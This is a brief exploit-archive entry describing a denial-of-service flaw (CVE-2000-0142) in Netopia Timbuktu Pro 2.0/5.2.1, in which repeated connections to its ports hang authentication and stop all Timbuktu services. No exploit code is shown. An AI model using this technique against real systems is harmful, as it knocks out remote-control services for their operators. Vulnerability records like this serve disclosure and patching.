Description

Netopia Timbuktu Pro Remote Control 2.0/5.2.1 DoS Vulnerability. CVE-2000-0142. Dos exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/984/info

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted.
